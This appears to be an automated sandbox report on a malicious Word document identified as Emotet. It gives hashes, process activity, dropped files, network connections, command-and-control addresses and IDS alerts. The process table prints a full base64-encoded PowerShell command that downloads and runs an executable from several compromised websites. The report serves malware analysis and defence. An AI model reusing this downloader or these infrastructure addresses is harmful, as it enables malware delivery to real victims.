| File name: | FILES4947.doc |
| Full analysis: | https://app.any.run/tasks/5b0ecc88-d4af-4fbb-add3-50bec70653e4 |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | March 21, 2019, 14:30:44 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Mar 20 14:48:00 2019, Last Saved Time/Date: Wed Mar 20 14:48:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 5, Security: 0 |
| MD5: | 0AB6B555F1D3AB9E25F40940A0C02467 |
| SHA1: | 567C28C0F5AF6FB98C1562EBBB29C11F07D340A9 |
| SHA256: | 89375294F0339B33731DEBFF0BAF4953FB097B56929BAFA7A839F594108F4E11 |
| SSDEEP: | 3072:a77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8qhl5Kd3NHvzkccoj:a77HUUUUUUUUUUUUUUUUUUUT52VGl5K3 |
MALICIOUS
Application was dropped or rewritten from another process
- 298.exe (PID: 2132)
- 298.exe (PID: 3516)
- wabmetagen.exe (PID: 2972)
- wabmetagen.exe (PID: 3672)
Downloads executable files from the Internet
- powershell.exe (PID: 3708)
Emotet process was detected
- wabmetagen.exe (PID: 2972)
EMOTET was detected
- wabmetagen.exe (PID: 3672)
Connects to CnC server
- wabmetagen.exe (PID: 3672)
SUSPICIOUS
Application launched itself
- 298.exe (PID: 2132)
- wabmetagen.exe (PID: 2972)
Creates files in the user directory
- powershell.exe (PID: 3708)
Executable content was dropped or overwritten
- powershell.exe (PID: 3708)
- 298.exe (PID: 3516)
Starts itself from another location
- 298.exe (PID: 3516)
Connects to unusual port
- wabmetagen.exe (PID: 3672)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 2712)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2712)
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TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | - |
|---|---|
| Subject: | - |
| Author: | - |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2019:03:20 14:48:00 |
| ModifyDate: | 2019:03:20 14:48:00 |
| Pages: | 1 |
| Words: | - |
| Characters: | 5 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 5 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
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| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
Total processes
40
Monitored processes
6
Malicious processes
5
Suspicious processes
0
Behavior graph
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Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
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| 2132 | "C:\Users\admin\298.exe" | C:\Users\admin\298.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Dism Image Servicing Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 2712 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\FILES4947.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
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| 2972 | "C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe" | C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe | 298.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Dism Image Servicing Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 3516 | --3cb22fef | C:\Users\admin\298.exe | 298.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Dism Image Servicing Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 3672 | --9bc43e78 | C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe | wabmetagen.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Dism Image Servicing Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 3708 | powershell -e JABSAEIAWABVAEEANAA9ACgAJwBQAFEAQgBBAEEAJwArACcARAAnACkAOwAkAHAAWgBEAEEAVQBrAHcAQQA9ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AbwBiAGoAZQBjAHQAJwApACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAcgBjAEEAQQBBAHgAYwA9ACgAJwBoAHQAdABwADoAJwArACcALwAvAG4AbwByAHQAaAAnACsAJwBwAG8AJwArACcAbABsAHMALgBjAG8AbQAvAHcAbwByAGQAcAByAGUAcwBzACcAKwAnAF8AZQAnACsAJwAvAHgAaAAvAEAAaAB0ACcAKwAnAHQAcAA6AC8ALwBwAGUAYQByAGwAeQB3ACcAKwAnAGgAaQB0AGUAcwAuAGMAbwAuAGkAbgAnACsAJwAvAGMAZwBpAC0AYgBpAG4ALwBUACcAKwAnAHcAUQAvAEAAaAB0ACcAKwAnAHQAcAAnACsAJwA6AC8ALwAnACsAJwBuAG8AJwArACcAdwBuACcAKwAnAG8AdwBzAGEAbABlAHMALgAnACsAJwBjAG8AbQAnACsAJwAvADUANgBtAHQAJwArACcANgBzADgAJwArACcALwBTAGkAUAAvAEAAaAB0AHQAcAA6AC8ALwBvACcAKwAnAHUAJwArACcAawBhAGkAbQBlAGQAZQBuAC4AbwByAGcALwBvAHQAdQBsADYAcABnAC8AZQAnACsAJwB5AGgAJwArACcARwAvACcAKwAnAEAAaAAnACsAJwB0AHQAJwArACcAcAA6ACcAKwAnAC8ALwA4ADUAMAAxAHMAYQBuAGwALgBjAG8AbQAvAHcAcAAtAGMAbwAnACsAJwBuAHQAZQBuAHQALwBBAEsAZwBEACcAKwAnAC8AJwApAC4AKAAnAFMAJwArACcAcABsAGkAdAAnACkALgBJAG4AdgBvAGsAZQAoACcAQAAnACkAOwAkAHQARAAxAEEAbwBRAFoAQQA9ACgAJwBxAF8AJwArACcAYwBEAHcAJwArACcANAAnACkAOwAkAEcAQQBEAEIANABBAFEAbwAgAD0AIAAoACcAMgAnACsAJwA5ADgAJwApADsAJAB3AHcAYwB3AEMAdwBVAD0AKAAnAFUAJwArACcARwBBAGMAQgBVACcAKQA7ACQAYgBBAFUAXwBRAEEAQQBVAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABHAEEARABCADQAQQBRAG8AKwAoACcALgBlAHgAJwArACcAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABBADQAWgBjAFoAVQAgAGkAbgAgACQAcgBjAEEAQQBBAHgAYwApAHsAdAByAHkAewAkAHAAWgBEAEEAVQBrAHcAQQAuACgAJwBEAG8AJwArACcAdwAnACsAJwBuAGwAbwAnACsAJwBhAGQARgBpAGwAZQAnACkALgBJAG4AdgBvAGsAZQAoACQAQQA0AFoAYwBaAFUALAAgACQAYgBBAFUAXwBRAEEAQQBVACkAOwAkAGQANABBAEEARABBAEIAeAA9ACgAJwBMAHcAQQBDAEEAXwAnACsAJwBjACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABiAEEAVQBfAFEAQQBBAFUAKQAuACIATABFAG4AYABnAHQASAAiACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsAJgAoACcASQAnACsAJwBuACcAKwAnAHYAbwBrAGUALQBJAHQAZQBtACcAKQAgACQAYgBBAFUAXwBRAEEAQQBVADsAJAB1AG8ARABCAEEAQQBBAD0AKAAnAHcAQgA0ACcAKwAnADEAUQAnACsAJwBRACcAKQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAewB9AH0AJABPADQAQgBEAEEAWABBAFEAPQAoACcAdgAnACsAJwBBAFEAQQB4ACcAKwAnAEQAQQBHACcAKQA7AA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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Total events
1 707
Read events
1 225
Write events
477
Delete events
5
Modification events
| (PID) Process: | (2712) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | ~7: |
Value: 7E373A00980A0000010000000000000000000000 | |||
| (PID) Process: | (2712) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2712) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (2712) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1316290590 | |||
| (PID) Process: | (2712) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1316290704 | |||
| (PID) Process: | (2712) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1316290705 | |||
| (PID) Process: | (2712) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: 980A00005284DDB1F2DFD40100000000 | |||
| (PID) Process: | (2712) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | h8: |
Value: 68383A00980A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2712) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | h8: |
Value: 68383A00980A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2712) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
2
Suspicious files
2
Text files
0
Unknown types
3
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2712 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRFB5E.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3708 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KC7PY6Y11QXJ3ZD3AXK3.temp | — | |
MD5:— | SHA256:— | |||
| 3708 | powershell.exe | C:\Users\admin\298.exe | executable | |
MD5:— | SHA256:— | |||
| 3708 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF100580.TMP | binary | |
MD5:— | SHA256:— | |||
| 2712 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:— | SHA256:— | |||
| 2712 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 3708 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 3516 | 298.exe | C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe | executable | |
MD5:— | SHA256:— | |||
| 2712 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$LES4947.doc | pgc | |
MD5:— | SHA256:— | |||
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HTTP(S) requests
7
TCP/UDP connections
7
DNS requests
2
Threats
11
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3708 | powershell.exe | GET | — | 195.8.208.243:80 | http://northpolls.com/wordpress_e/xh/ | NL | — | — | suspicious |
3708 | powershell.exe | GET | 200 | 167.99.57.70:80 | http://pearlywhites.co.in/cgi-bin/TwQ/ | US | executable | 184 Kb | suspicious |
3672 | wabmetagen.exe | POST | — | 185.94.252.3:443 | http://185.94.252.3:443/jit/taskbar/ | DE | — | — | malicious |
3672 | wabmetagen.exe | POST | — | 5.230.147.179:8080 | http://5.230.147.179:8080/vermont/nsip/ | DE | — | — | malicious |
3672 | wabmetagen.exe | POST | — | 64.13.225.150:8080 | http://64.13.225.150:8080/forced/cookies/ | US | — | — | malicious |
3672 | wabmetagen.exe | POST | — | 133.242.156.30:7080 | http://133.242.156.30:7080/tlb/taskbar/ringin/merge/ | JP | — | — | malicious |
3672 | wabmetagen.exe | POST | — | 203.143.86.111:8080 | http://203.143.86.111:8080/pnp/ | AU | — | — | malicious |
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Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3708 | powershell.exe | 195.8.208.243:80 | northpolls.com | Duocast B.V. | NL | suspicious |
3708 | powershell.exe | 167.99.57.70:80 | pearlywhites.co.in | — | US | suspicious |
3672 | wabmetagen.exe | 185.94.252.3:443 | — | Andreas Fahl trading as Megaservers.de | DE | malicious |
3672 | wabmetagen.exe | 133.242.156.30:7080 | — | SAKURA Internet Inc. | JP | malicious |
3672 | wabmetagen.exe | 5.230.147.179:8080 | — | GHOSTnet GmbH | DE | malicious |
3672 | wabmetagen.exe | 203.143.86.111:8080 | — | OMNIconnect Pty Ltd | AU | malicious |
3672 | wabmetagen.exe | 64.13.225.150:8080 | — | Media Temple, Inc. | US | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
northpolls.com |
| suspicious |
pearlywhites.co.in |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3708 | powershell.exe | A Network Trojan was detected | ET POLICY Terse Named Filename EXE Download - Possibly Hostile |
3708 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3708 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
3708 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
3672 | wabmetagen.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 6 |
3672 | wabmetagen.exe | Potentially Bad Traffic | ET POLICY HTTP traffic on port 443 (POST) |
3708 | powershell.exe | A Network Trojan was detected | ET POLICY Terse Named Filename EXE Download - Possibly Hostile |
3672 | wabmetagen.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 18 |
3708 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3708 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |